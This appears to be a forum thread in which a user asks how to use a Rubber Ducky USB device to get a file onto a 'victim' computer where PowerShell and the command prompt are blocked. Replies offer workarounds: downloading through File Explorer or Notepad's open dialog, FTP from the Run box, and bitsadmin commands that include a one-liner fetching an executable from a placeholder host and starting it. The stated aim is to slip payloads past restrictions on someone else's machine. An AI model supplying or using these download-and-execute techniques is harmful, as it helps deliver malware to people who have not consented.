Download a file WITHOUT powershell

[Jni]

HI, 

I want to use a RUBBER DUCKY to download a file but the problem is the victim computer is not administrator so I dont have acces to powershell or command prompt I test on eoptions is to use Internet Explorer but there is to much chance to fail. So I want the best way to do that.

Thanks for the help

[ThoughtfulDev]

You can run powershell and cmd without admin privs or am i mistaken?

e.g ctrl +r and then powershell/cmd.exe will run the it without admin privs.

[Just_a_User]

56 minutes ago, ThoughtfulDev said:

You can run powershell and cmd without admin privs or am i mistaken?

On personal home PC's yes, well most of the time. But on managed networks they can push policies that restrict use of cmd and powershell along with many other things.

[Exmix]

I would assume the file located on a FTP or Web Server?

You can always have it open the FTP/WebServer through either the FileExplorer or Web Browser and download it that way.

 

[Jni]

The Command Prompt is blocked but I got an idea to download a .vbs with Notepad why did I dont download the executable because it too slow. If dont know the technics it simple open notep press CTRL + O then put the URL gonna a download a file ten I save with .vbs extension now I need to find a way to open the file and the file is on a host exe file I dont file any hosting accept .exe file.

[kleo]

You could use Bitsadmin.

Download on the current directory

bitsadmin /transfer "job" https://foo.com/bar.exe "%cd%\bar.exe"

Download to specified directory

bitsadmin /transfer "job" https://foo.com/bar.exe "C:\folder\bar.exe"

Download and then execute

cmd.exe /c "bitsadmin /transfer job https://foo.com/bar.exe C:\folder\bar.exe&start bar.exe"

 

 

Edited September 10, 2017 by kbeflo

[Jni]

I think I got an idea I am gone a use the FTP in run command but I want to know if it possible to put everything in the run command like the username, passsword, get file.exe. I dont want to use DELAY because the wifi of my victim Is REALLY SLOW. Thanks for the help